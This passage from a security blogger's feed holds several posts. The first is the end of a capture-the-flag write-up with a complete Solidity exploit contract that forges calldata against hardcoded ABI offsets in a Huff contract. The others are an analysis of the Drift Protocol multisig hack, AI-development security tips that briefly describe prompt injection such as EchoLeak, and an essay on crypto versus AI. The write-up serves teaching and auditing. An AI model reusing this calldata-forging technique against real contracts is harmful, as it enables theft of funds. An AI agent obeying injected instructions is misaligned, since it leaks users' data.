1000e18 (correct)<br>0x84     recipients.length   &lt;----      amounts.length = 2<br>0xa4     recipients[0]       &lt;----      amounts[0] = 0  --&gt; address(0) REVERT!<br>0xc4     recipients[1]       &lt;----      amounts[1] = 1000e18<br>0xe4     (amounts area)                 recipients.length = 2<br>0x104    ...                            recipients[0] = address(1)<br>0x124    ...                            recipients[1] = address(1)</pre><p>MONEY_MOVES reads amounts[0] = 0 as a recipient address, hits the zero-address check, and reverts with error 0x1647bca2.</p><h3>The Anti-AI Obfuscation (And Why It Doesn’t Stop Humans)</h3><p>When I first built this challenge, I wanted to see how easy it was for Claude to solve. I threw the Huff source at an AI and it found the bug in one shot after 10 minutes. My prompt was “solve this CTF”. Not great for a CTF.</p><p>So I had AI help me add a <em>lot</em> of noise:</p><ul><li><strong>69 getter stub functions</strong> — getVersion, getOwner, getOracle, getBeacon, getProxy, getValidator... all returning garbage like msg.sender or block.number. They exist purely to bloat the dispatcher and confuse decompilers.</li><li><strong>10 “validation gate” macros</strong> — Tautological checks that always pass but look scary in bytecode. Calldata checksums (sha3 is never zero). Temporal bounds (timestamp * block.number &gt; 0). Self-XOR identity proofs (x ^ x == 0). Entropy gates. Cold SLOAD warmth checks from phantom storage slots. They’re sprinkled before AIRDROP_ERC20, between lengths_match and the transferFrom, after the transferFrom, and before ARE_LISTS_VALID.</li><li><strong>XOR-hidden selectors</strong> — transferFrom and transfer selectors are computed at runtime via XOR with 0xdeadbeef.</li><li><strong>Red herring memory writes</strong> — The contract reads ABI offset pointers into memory, sums them, stores timestamps… and never uses any of it.</li></ul><p>An AI trying to reason about all of this will chew through tokens processing 665 lines of Huff. But a human? A human who knows EVM and ABI encoding looks at the dispatcher, finds sendMoney, scrolls to the macro, sees the hardcoded offsets, and thinks &quot;oh, that&#39;s the TSender bug.&quot;</p><p>If you’ve seen this pattern before — and especially if you participated in the <a href="https://codehawks.cyfrin.io/c/2024-05-TSender/results?t=report">CodeHawks TSender audit</a> — you could identify the vulnerability in minutes, even through all the noise.</p><p>However… An AI could <em>still</em> solve this even with all the noise I added, but you had to guide it a little more than just one-shotting it. Also, it took Claude Opus 4.6 over an hour wasted a LOT of your tokens. So in a sense, this was a “pay-to-win” challenge if you use exclusively AI. But a human + AI could solve it the most efficiently.</p><h3>The Real Bug</h3><p>This isn’t a made-up vulnerability. It was a real medium-severity finding in the TSender protocol, discovered during a CodeHawks competitive audit in May 2024:</p><blockquote><strong><em>TSender.huff and TSender_NoCheck.huff transfer funds to incorrect addresses</em></strong></blockquote><blockquote><em>The Huff implementations hardcode calldata offsets, but dynamic array types lack fixed positions in calldata. When the ABI encoder arranges recipients and amounts arrays in different orders than expected, the contract reads from wrong memory locations and executes incorrect transfers.</em></blockquote><p>In the real protocol, this meant tokens could be sent to the wrong addresses. In this CTF, we turned it into a challenge: make the same bug cause a revert instead.</p><p>I learned about this bug while writing Huff smart contracts and studying the audit results. It’s a subtle thing, the Solidity <em>encoder</em> always lays out dynamic arrays in declaration order, so hardcoded offsets work in testing. But the <em>decoder</em> follows the offset pointers, meaning the actual array data can live anywhere in calldata. Any manually crafted calldata can put the arrays in whatever order it wants, and a correct decoder will handle it fine. The Huff contract isn’t a correct decoder.</p><h3>Full Solution Contract</h3><pre>contract Exploit {<br>    Challenge private immutable CHALLENGE;</pre><pre>    constructor(Challenge challenge) {<br>        CHALLENGE = challenge;<br>    }</pre><pre>    function exploit() external {<br>        address token = address(CHALLENGE.TOKEN());<br>        address recipient = address(1);<br>        uint256 amount = CHALLENGE.STARTING_MONEY();</pre><pre>        bytes memory data = abi.encodePacked(<br>            bytes4(0xa0b37b73),<br>            bytes32(uint256(uint160(token))),<br>            bytes32(uint256(0xE0)),<br>            bytes32(uint256(0x80)),<br>            bytes32(amount),<br>            bytes32(uint256(2)),<br>            bytes32(uint256(0)),<br>            bytes32(amount),<br>            bytes32(uint256(2)),<br>            bytes32(uint256(uint160(recipient))),<br>            bytes32(uint256(uint160(recipient)))<br>        );</pre><pre>        CHALLENGE.sendMoney(data);<br>    }<br>}</pre><h3>TL;DR</h3><ol><li>MONEY_MOVES uses hardcoded calldata offsets instead of following ABI offset pointers</li><li>Challenge.validateCalldata() follows the pointers correctly</li><li>Swap the array positions in your calldata so validation passes but execution reads garbage</li><li>MONEY_MOVES tries to send tokens to address(0) and reverts</li><li>Revert + passed validation = solved</li></ol><p>The 665 lines of obfuscated Huff? Ignore most of it. The bug is in three #define constant lines.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dfe49d0e2db0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Drift Protocol Hack Is the Scariest Hack in 2026]]></title>
            <link>https://patrickalphac.medium.com/the-drift-protocol-hack-is-the-scariest-hack-in-2026-025359b87b5a?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/025359b87b5a</guid>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[solana-blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Mon, 06 Apr 2026 14:29:38 GMT</pubDate>
            <atom:updated>2026-04-06T14:29:38.805Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tc4UBifGaAi37qJAJt3VZQ.png" /></figure><p>The <a href="https://x.com/DriftProtocol/status/2040611161121370409">Drift Protocol hack</a> is probably the scariest hack that’s ever happened in Web3, in my opinion — even scarier than Bybit, which was technically six times larger. Let me explain.</p><p>Video version of this post:</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DqjJN5S7PSoE&amp;type=text%2Fhtml&amp;schema=youtu&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FqjJN5S7PSoE" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/571040d8f7abdda09e6c995561d950cf/href">https://medium.com/media/571040d8f7abdda09e6c995561d950cf/href</a></iframe><h3>What happened</h3><p>Drift Protocol is a perpetual futures exchange on Solana, and they were hacked for somewhere between <a href="https://solscan.io/tx/5BmE1xe66diCt9C1R3k1jXfkhrWgKZwWQuNLdm5TGL797VwajpaExmMRtNnwjDMdSseNPJp7eAujD9MKr495HeX4">$240M and $290M</a>. A lot of money.</p><p>The root of the hack can be summed up by <a href="https://x.com/DriftProtocol/status/2040611161121370409">this tweet from the team</a>:</p><blockquote><em>The attack was enabled by a combination of pre-signed durable nonce transactions and compromise of multiple multisig signer’s approvals, likely through targeted social engineering or transaction misrepresentation.</em></blockquote><p>A lot of blogs are over-indexing on the durable nonce part. Don’t let that distract you. The actual technical compromise was a multisig compromise — not particularly technically interesting. We’ve seen this before. This is exactly what we saw with the <a href="https://www.cyfrin.io/blog">Bybit hack</a>. The playbook is straightforward:</p><ol><li>Compromise people’s computers</li><li>Show them transactions that look good, but send bad data to the wallet</li><li>Nobody checks what they’re signing</li><li>Profit</li></ol><p>The Drift team operated behind a 2-of-5 multisig. All the attacker needed was two approvals. And yes, the Drift team <a href="https://x.com/DriftProtocol/status/2040624992249901452">confirmed they were using hardware wallets</a> — but if you’ve been following my work, you know that doesn’t matter if you’re not checking what actually goes onto your hardware wallet.</p><p>Now, there are a lot of remediations this team could have done. Hindsight’s 20/20. But that’s not what’s scary about this hack.</p><h3>What’s scary</h3><p>Historically, meeting in person with a state-sponsored hacker was too dangerous for the hackers to attempt. A lot of teams used this as a mitigation — meet collaborators in person, verify identities at conferences. These hackers met the Drift team in person.</p><p>From <a href="https://x.com/DriftProtocol/status/2040611161121370409">Drift’s writeup</a>:</p><blockquote><em>Drift contributors were approached by a group of individuals at a major crypto conference who presented as a quantitative firm looking to engage on the protocol. They were technically fluent, had verifiable professional backgrounds, and were familiar with how Drift operated.</em></blockquote><p>The Drift team started working with this group. They gained trust. The hackers sent links, things to download, code repos to review. The Drift team ran those things — and yes, they shouldn’t have, but a large part of it was because they had built a real working relationship over six months.</p><p>Meeting somebody in person isn’t the obstacle we historically thought it would be. That changes the game.</p><p>The timelines are also getting longer. This hack was in the makings for over six months. It’s reminiscent of the <a href="https://en.wikipedia.org/wiki/XZ_Utils_backdoor">XZ backdoor</a>, where a GitHub user was created who actively contributed to a foundational Linux tool for years, being genuinely helpful, until the maintainer said “sure, you can take more control” — and boom, that’s when they struck.</p><p>So the two things that make this terrifying:</p><ol><li>Meeting in person isn’t the verification we thought it was</li><li>These timelines are getting longer and longer</li></ol><h3>The default path must be the secure one</h3><p>Given all this, the question becomes: what can we do?</p><p>I think there are two approaches. There’s the smaller, individualistic answer — the “here’s what you should have done” stuff. And then there’s the systemic answer, which I think is far more important but tends to get ignored.</p><p>I’m going to explain both, but I want to start with a phrase I keep coming back to:</p><p><strong>The default path must be the secure one.</strong></p><p>Write this down. Scream it from the top of your lungs.</p><p>Think about passwords. We all know you shouldn’t reuse passwords. But in practice, memorizing a bajillion passwords is infeasible. So we developed password managers and passkeys to make unique passwords easier. <a href="https://www.nist.gov/news-events/news/2016/10/security-fatigue-can-cause-computer-users-feel-hopeless-and-act-recklessly">Security fatigue</a> is a real thing. We could 100% just blame people — “hey, just come up with 10,000 passwords and store them in your head.” We had a “solution.” But the default path was incredibly laborious, so we fixed it at a systemic level.</p><p>The same logic applies here. For each one of the missteps below — yes, the team should have taken steps to prevent them. But there’s a systemic issue underneath.</p><h3>The missteps (and the “just do this” responses)</h3><p><strong>Blind signing / transaction misrepresentation.</strong> This is the crux of it. I made <a href="https://www.youtube.com/watch?v=Ke-xSNseAME">a video about this last year</a> — it’s ridiculous that we sign things on hardware devices that nobody can read. Most people aren’t even checking.</p><p>It’s very easy for hackers to manipulate a small piece of transaction data, send it to your hardware wallet, and you just blindly sign it because it’s so hard to verify. These transactions might be 20 pages of data where if a single character is off, you’re sending a malicious transaction. If you’re going through 2,000 characters and you mistake a 7 for a 1 or a 3 for a B — you’re screwed. So most people just don’t bother checking.</p><p><strong>Cloning and running a code repo.</strong> One contributor was likely <a href="https://ike.io/open-a-folder-all-your-agents-are-mine/">compromised after cloning a code repository</a> shared by the attackers. We have docker containers, dev containers — use them. <a href="https://x.com/pcaversaccio/status/2009931485202055168">Pascal from the SEAL team</a> goes further and says you should use Qubes OS. Just opening a folder can be enough to compromise a device.</p><p><strong>Running unknown software.</strong> Your signing device should be separate from your working device. If your working device gets compromised, it shouldn’t matter for your signing device.</p><p>For every single one of these, there was some remediation the team could have done. But here’s what I’m saying — those steps, as of today, suck and are hard.</p><p>A lot of people say “oh, we need to educate people more.” I have hundreds of hours of videos explaining “don’t put your private key in plaintext.” And I still get people saying “oh, it’s fine if you’re just smart.” No. The default path must be the secure path.</p><p>I think we’re making the <a href="https://en.wikipedia.org/wiki/Fundamental_attribution_error">fundamental attribution error</a> here — our cognitive bias to blame individuals while underemphasizing the situational and environmental factors. We should look at the overall situation and fix that.</p><h3>What immediate steps can we take?</h3><p>The good news is we’re making progress, at least on the Ethereum side:</p><p><a href="https://github.com/ethereum/ERCs/pull/1639"><strong>ERC-8213</strong></a> — This is the proposal I created for technical users. Instead of scrolling through 20 pages of hex data, your wallet shows a single hash (a “calldata digest”) that you can independently verify on a separate device. One hash to check instead of thousands of characters.</p><p><a href="https://eips.ethereum.org/EIPS/eip-7730"><strong>ERC-7730</strong></a> — This is the longer-term solution for retail users. A registry where vetted projects provide metadata to translate raw transaction data into plain English.</p><p>But the Drift hack was on Solana. So I’ve created <a href="https://github.com/solana-foundation/solana-improvement-documents/discussions/513">a discussion to bring both of these concepts to the Solana ecosystem</a>.</p><p>Please go to those ERCs and that SIMD discussion and give them a bump. We can at least fix this issue that’s been plaguing us for a decade — nobody knowing what the hell they’re signing.</p><p>Otherwise, we’re just going to keep seeing this every other week.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=025359b87b5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to not accidentally shoot yourself in the foot with AI development]]></title>
            <link>https://patrickalphac.medium.com/how-to-not-accidentally-shoot-yourself-in-the-foot-with-ai-development-b5f529ca7823?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/b5f529ca7823</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[claude-code]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Sun, 01 Mar 2026 16:03:37 GMT</pubDate>
            <atom:updated>2026-03-01T16:03:37.289Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFsEO3BCYj_EBxxaUtVveA.png" /><figcaption>You are the monkey</figcaption></figure><h3>How to Not Accidentally Shoot Yourself in the Foot with AI Development</h3><p>AI has been an incredible productivity boost for software engineers. I personally have been using Claude Opus 4.6 — it passed my vibe check and I’ve been using it to code pretty much everything I touch. At Cyfrin, we’ve also been working with AI to help secure our codebases.</p><p>But the rest of the industry — ourselves included — has been emboldened to do dumber and dumber things because we can do more and more with AI. And the attack surface is growing fast.</p><h3>AI Is Already Screwing Up</h3><p>Here are real examples of how AI has already gone wrong:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*t2tqspnx-isntKcf.png" /></figure><p><strong>The Moonwell Incident.</strong> Security auditor <a href="https://x.com/pashov">Pashov</a> pointed out that Claude helped co-author <a href="https://cointelegraph.com/news/moonwell-exploit-cbeth-oracle-misprice-ai-commits-testing-audits">a git commit</a> in the Moonwell project that misconfigured an oracle, effectively pricing cbETH at ~$1.12 instead of ~$2,200 — leading to <a href="https://www.coindesk.com/tech/2026/02/18/ether-briefly-priced-at-usd1-on-defi-app-moonwell-glitch-triggering-usd1-8m-in-bad-debt">$1.78 million in bad debt</a>. Hopefully $1 continues to be the incorrect price of ETH…</p><p><strong>The EchoLeak Vulnerability (CVE-2025–32711).</strong> Just by <em>sending</em> someone an email with Microsoft 365 Copilot turned on, <a href="https://thehackernews.com/2025/06/zero-click-ai-vulnerability-exposes.html">Copilot would read that email and get prompt-injected</a> — sending sensitive data to hackers automatically. You didn’t even have to open the email.</p><p><strong>Slopsquatting.</strong> AI hallucinates a package that doesn’t exist. An attacker registers that package. Now the hallucinated package is real — and loaded with malicious code. Your supply chain is compromised.</p><p><strong>Private keys in plain text.</strong> It’s 2026 and AI still tells people that hardcoding private keys is fine. It’s not.</p><p>According to <a href="https://genai.owasp.org/llm-top-10/">OWASP</a>, the top three AI attack vectors are:</p><ol><li>Prompt injection</li><li>Leaking sensitive information</li><li>Slopsquatting / supply chain attacks</li></ol><p>And the code AI writes isn’t bulletproof either. The <a href="https://baxbench.com/">BaxBench</a> leaderboard shows that even the best model — Claude Code — only writes correct <em>and</em> secure code about 56% of the time.</p><h3>So… AI is bad then</h3><p>Not so fast.</p><p>Claude Opus 4.6 has found 500+ vulnerabilities. AI projects have been smashing leaderboards on HackerOne. At Cyfrin, when we do smart contract audits, we use AI to help us understand and navigate the codebase. It’s a laborious job, and since AI is so helpful for productivity, I’m not going to <em>not</em> use it.</p><p>The question isn’t “should we use AI?” — it’s <strong>“how do we use it without getting destroyed?”</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DzbuZMZpws2s&amp;type=text%2Fhtml&amp;schema=youtube&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FzbuZMZpws2s" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b8d89c56ee7c1fdd67bdbd8e0a77a017/href">https://medium.com/media/b8d89c56ee7c1fdd67bdbd8e0a77a017/href</a></iframe><h3>The #1 Rule: It’s Your Fault</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F_g7otx-Es-Q%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D_g7otx-Es-Q&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F_g7otx-Es-Q%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f76a8c2ccfbcd6989652c0c1861de77a/href">https://medium.com/media/f76a8c2ccfbcd6989652c0c1861de77a/href</a></iframe><p>Before we get into the tips, here’s the overarching principle: <strong>you are the developer and you are the security researcher.</strong> That means you are responsible for any bugs you ship.</p><p>Blaming a bug on the AI is incorrect. It is your fault.</p><p>You must review what your AI is doing. You must know what your AI has access to. That is the summary of all of this.</p><h3>Tip 1: Add a Security Prompt</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T9kj6okrt-7h6Xy7FKuKrQ.png" /></figure><p>Sounds stupid. We’ve all seen the memes where someone asks Claude to “make me a billion-dollar company and make no mistakes.”</p><p>But funnily enough, it actually works. On <a href="https://baxbench.com/">BaxBench</a>, they found that <strong>simply adding a generic security reminder to prompts improved Claude Code’s secure code rate from 56% to 66%</strong>. That’s a meaningful jump just from telling your AI to care about security.</p><p>This is where tools like Claude Code’s skills system come in:</p><ul><li><a href="https://github.com/Cyfrin/solskill"><strong>Cyfrin SolSkill</strong></a> helps write more secure Solidity code and catches common code smells.</li><li><a href="https://github.com/trailofbits/claude-code-config"><strong>Trail of Bits Claude Code Config</strong></a> adds a whole set of security-focused settings to your Claude Code environment. You should 100% set this up.</li></ul><h3>Tip 2: Use Normal Security Tooling</h3><p>This is the “yeah, obviously” advice, but people forget: <strong>you can still use all the normal security tooling alongside AI.</strong></p><p>Static analysis tools like <a href="https://github.com/crytic/slither">Slither</a> and <a href="https://github.com/Cyfrin/aderyn">Aderyn</a> are still incredibly valuable. Don’t stop using them just because you have an AI assistant. Layer your defenses.</p><p>(And follow <a href="https://x.com/CyfrinAudits">Cyfrin on Twitter</a> — we’re cooking up some good stuff on this front.)</p><h3>Tip 3: Containerize Your Environments</h3><p>Use containerization to isolate your development environments. For smart contract development, you can spin up an isolated container and drop Claude or ChatGPT into it so the environment is sandboxed.</p><p>The <a href="https://github.com/Cyfrin/web3-dev-containers"><strong>Cyfrin devcontainer</strong></a> is a great starting point. If your AI goes rogue or gets injected, the blast radius is limited to that container instead of your entire machine.</p><h3>Tip 4: Handle Sensitive Information Like It’s Radioactive</h3><p>Two concerns with sensitive information:</p><ol><li>You don’t want your AI to <strong>have</strong> sensitive information</li><li>You don’t want your AI to <strong>expose</strong> sensitive information</li></ol><p>Here’s the rule: <strong>if you’re not using a local LLM, assume that if your AI has access to something, the world now has access to it.</strong></p><p>Private keys should <em>never</em> be in plain text, and your AI should <em>never</em> have access to them. The <a href="https://github.com/Cyfrin/solskill">Cyfrin SolSkill</a> has prompts baked in specifically to prevent this.</p><h3>Tip 5: The Agent Rule of Two</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WYixAyjimf5aefM7.png" /></figure><p>Some of you are thinking: <em>“Patrick, shut up. I want to give my AI access to my sensitive information and passwords so I can use tools like OpenClaw.”</em></p><p>I personally don’t recommend that. But if you’re going to do it anyway, use the <strong>Agent Rule of Two</strong>.</p><p>This framework came out of <a href="https://ai.meta.com/blog/practical-ai-agent-security/">Meta’s AI security research</a>, inspired by <a href="https://simonw.substack.com/p/the-lethal-trifecta-for-ai-agents">Simon Willison’s “lethal trifecta” concept</a> and the Google Chrome team’s Rule of 2.</p><p>Your agent should only have <strong>two of the following three properties</strong> at any given time:</p><ul><li><strong>A.</strong> The agent can process untrustworthy inputs</li><li><strong>B.</strong> The agent can access sensitive systems or private data</li><li><strong>C.</strong> The agent can change state or communicate externally</li></ul><p><strong>Pick two. Never all three.</strong></p><p>If your AI agent has all three, you’re cooked. An attacker prompt-injects your agent through untrusted data (like a malicious email — see <a href="https://arxiv.org/abs/2509.10540">EchoLeak</a>), the agent has access to your private information, and it can send that information out. Game over.</p><p>But remove any one:</p><p><strong>B + C only</strong> (no untrusted inputs): The malicious email never reaches the AI. The agent only processes trustworthy sources.</p><p><strong>A + C only</strong> (no private data): Even if the agent gets prompt-injected, there’s nothing sensitive for it to reveal.</p><p><strong>A + B only</strong> (no external communication): Even if the agent gets injected and reads your sensitive data, it can’t send it anywhere.</p><p>Apply this when working with tools like OpenClaw. Limit access to specific accounts. Split your agents up so no single agent becomes a single point of failure.</p><h3>In Crypto, Be Even More Paranoid</h3><p>In the smart contract world, my recommendation is simpler: <strong>just don’t give an agent any of your private or sensitive information at all.</strong></p><p>Even with the Rule of Two, what happens if your agent itself gets hacked? If you’re using a local LLM, that’s slightly better, but you should still worry about data in the cloud being stolen.</p><h3>Tip 6: Watch Your Supply Chain</h3><p>For supply chain attacks like slopsquatting: <strong>know what packages your AI is suggesting.</strong> Don’t blindly install something just because your AI told you to. Verify it exists, verify it’s the real package, and verify it’s not a hallucination that someone has weaponized.</p><p>Tools like <a href="https://snyk.io/">Snyk</a> and <a href="https://docs.npmjs.com/cli/audit">npm audit</a> can help.</p><h3>Prompt Injection Is Still Unsolved</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l4VS2jDQKsiQ0kLXJekkPA.png" /><figcaption>mlld</figcaption></figure><p>I saved this for last because it’s probably the trickiest attack to defend against today.</p><p>Yes, you can do input sanitization. Yes, you can (and should) do human-in-the-loop interactions, especially when reviewing smart contract code. But prompt injection is fundamentally a problem we haven’t solved yet.</p><p>On a promising note: <strong>sockdrawermoney</strong> — co-founder of <a href="https://code4rena.com/">Code4rena</a> (which kicked off the competitive audits craze) and one of the co-creators of npm audit — has been working on a language designed to mitigate prompt injection through taint tracking. Any time your agent touches something, the data gets labeled as trusted or untrusted. It&#39;s very cool, and I&#39;m still digging into it myself.</p><h3>TL;DR</h3><ol><li>AI is an incredible productivity tool, but it’s making us reckless</li><li>Top 3 AI attack vectors per <a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/">OWASP</a>: prompt injection, sensitive data leaks, slopsquatting</li><li><strong>Add a security prompt</strong> — improved secure code rates by ~10% on <a href="https://baxbench.com/">BaxBench</a></li><li><strong>Use security tooling</strong> — <a href="https://github.com/crytic/slither">Slither</a>, <a href="https://github.com/Cyfrin/aderyn">Aderyn</a>, and static analysis still matter</li><li><strong>Containerize</strong> — sandbox your AI’s environment (<a href="https://github.com/cyfrin/web3-dev-containers">Cyfrin’s devcontainer</a>)</li><li><strong>Private keys never in plain text</strong> — your AI should never have access to them</li><li><a href="https://ai.meta.com/blog/practical-ai-agent-security/"><strong>Agent Rule of Two</strong></a> — never grant all three: untrusted inputs, private data, and external communication</li><li><strong>You are responsible</strong> for everything your AI produces. Review it. All of it.</li></ol><p>Stay safe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b5f529ca7823" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI is hot, Crypto is not, but so what?]]></title>
            <link>https://patrickalphac.medium.com/ai-is-hot-crypto-is-not-but-so-what-8aaa1d0bc5a4?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/8aaa1d0bc5a4</guid>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[venture-capital]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Wed, 11 Feb 2026 19:38:11 GMT</pubDate>
            <atom:updated>2026-02-11T19:38:11.151Z</atom:updated>
            <content:encoded><![CDATA[<h4>We see VC money moving from digital assets over to AI and prediction markets. What does this mean for crypto?</h4><figure><img alt="VC money is moving from Crypto to AI" src="https://cdn-images-1.medium.com/max/1024/1*V-O1mVv6B8ydLiHTRhGzAw.png" /><figcaption>Thanks ChatGPT for making this image</figcaption></figure><p><em>This blog was not written with AI, except to help with research on VC portfolio allocations over the last few years.</em></p><p>In 2025, VCs like Sequoia, A16z, Lightspeed, and Y Combinator invested in AI companies en masse, and we saw some outflow of money from crypto to AI. Not to mention the price of cryptocurrencies in general recently tanked.</p><h4>Sequoia</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*riCYnwQWuyS3xhN-OTSTpQ.png" /><figcaption>Data collected using publicly reviewed disclosures</figcaption></figure><h4>A16z</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kfcRXlVFnrAt4sAJjWU__Q.png" /><figcaption>Data collected using publicly reviewed disclosures</figcaption></figure><h4>Lightspeed</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qFB6UCr2Fuq49F3SiuQJew.png" /><figcaption>Data collected using publicly reviewed disclosures</figcaption></figure><h4>Y Combinator</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OwLQhKw3ToIFe_U98xy6aA.png" /><figcaption>Data collected using publicly reviewed disclosures</figcaption></figure><p>I’ve seen many people who came into web3 with me back in 2019/2020 start to leave, to join an AI company or prediction market.</p><p>As someone deeply devoted to the success of blockchain and decentralized finance, there are a few ways to react to this.</p><h4>Good riddance, they didn’t believe anyway</h4><p>There is an allure to, similar to a bad breakup, “hate them on the way out”. “It’ll be better now that only the true builders are left” — type. I think this isn’t the correct approach. We <em>want </em>people to work in our industry, even if they don’t share the same fundamental principles we do. If we keep the visionaries, then we are always going to need people to help work to make those visions come to life, and many people are looking to live a good life, not change the world. I think there is no harm in that either. In life, it’s great to have people:</p><ul><li>Deeply passionate</li><li>Less passionate, but willing to work to make themselves better, and do something good too</li></ul><p>I think of these as <a href="https://www.linkedin.com/posts/kimm4_superstar-mode-vs-rockstar-mode-which-one-activity-7338285446549934080-b5sw/">“rock stars” vs “superstars”</a> in a sense.</p><h4>Crypto is doomed, pivot to AI</h4><p>This is the topic that I want to focus on most here, and here is the line that I want to drill into your soul.</p><blockquote>The world’s finance being solely powered by cryptocurrencies is inevitable.</blockquote><p>Let that sink in. Let that sit with you. Once you accept this, it makes less and less sense to pivot to AI. Yes, AI is booming, yes, AI is awesome, but AI is a tool to help build other things, and one of those “other things” is the future of finance.</p><p>At the same time, do what’s right for you. There is a hype train calling your name in the AI world, perhaps. Go for it. But I think you’ll be missing out.</p><h3>Why is blockchain inevitable?</h3><p>The same reason gold has a market cap of $35T today.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y1J7fsO8C-NWgB5I9_xjng.png" /><figcaption><a href="https://companiesmarketcap.com/gold/marketcap/">Gold’s Market Cap</a></figcaption></figure><p>I’ve given this rant many times about “what is money”, <a href="https://www.youtube.com/watch?v=XeqQf08PDlA">especially in my explainer of stablecoins.</a> Money provides 3 functions:</p><ul><li>Store of value</li><li>Medium of exchange</li><li>Unit of account</li></ul><p>To find a credibly neutral and convenient money has been basically impossible for all of history, until recently. Gold has been accepted as the “credibly neutral” money; however, it’s not particularly convenient. Cryptocurrencies are the solution here. They give us the same benefits gold has given us for over 1,000 years, with the convenience of the modern era.</p><h3>The exponential factor</h3><p>To me, this is interesting in itself, but the excitement goes astronomical when you look at this combined with smart contracts. Take the stock market, for example. The NYSE does about <a href="https://www.bestbrokers.com/stock-trading/stock-trading-market-statistics/">$80B in transaction</a> volume a day, whereas <a href="https://tokenterminal.com/explorer/projects/uniswap/metrics/trading-volume?granularity=day&amp;interval=24h">Uniswap might do $2B.</a> That’s a whopping 40x difference, but factor in how much it costs to run the NYSE.</p><p>The parent company of the <a href="https://en.wikipedia.org/wiki/Intercontinental_Exchange">NYSE has ~12,000 employees.</a> Whereas Uniswap could hypothetically be run with just liquidity providers, and only has <a href="https://pitchbook.com/profiles/company/265762-45">~200 employees</a>. This is a reduction of 60x the overhead! Just on costs alone, running a decentralized exchange is massively reduced.</p><p>And don’t even get me started on the censorship resistance and credible neutrality, which is the whole purpose of the technology! I’ll save you the rant on why credibly neutral financial products are the future, because if you just look at the numbers alone, running DeFi is substantially cheaper, while also being a fairer technology.</p><p>A lot of people are unconvinced by the rationale of credible neutrality, so I’m going to skip over it in this article. Many of those people come from first-world countries and will never begin to understand how impactful a technology like this can be on a less fortunate country. However, I do still think it’s the top motivator for why this technology is inevitable. But a lot of people can look at the overhead our current financial infrastructure has and start to ask, “Why am I paying such massive fees for my stock trades to clear 2 days later?”</p><h3>Summary</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*25v4eBcnw7pr2UjN.gif" /><figcaption>Sceen from the Wolf Of Wall Street</figcaption></figure><p>You can go if you’d like, but I think you’re going to miss the adoption happening, where the opportunity is even better than it ever was.</p><p>A lot of the “opportunities” historically in crypto were bullsh*t to some extent. NFTs, liquidity mining, and meme tokens were all amongst the “products” that exploited people’s misunderstanding of the new technology, trying to get in on something new. We have passed that. We know they were dumb. And now, we can get institutional <em>and </em>retail adoption of products that actually make their lives better. Aave, Uniswap, ZK Privacy, and Stablecoins are all here to provide financial products to anyone in the world at a fraction of the cost and with less censorship.</p><p>Smart contracts and cryptocurrencies are:</p><ul><li>Cheaper</li><li>Faster</li><li>Fairer</li></ul><p>And the whole world will be running on its infrastructure, and I want to keep busting ass to make that come to life.</p><p><em>For more amazing blockchain content, follow me on </em><a href="https://www.youtube.com/c/PatrickCollins"><em>YouTube</em></a><em> and </em><a href="https://x.com/PatrickAlphaC"><em>X</em></a><em>.</em></p><p><em>And be sure to follow the </em><a href="https://cyfrin.io/"><em>Cyfrin team</em></a><em>!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8aaa1d0bc5a4" width="1" height="1" 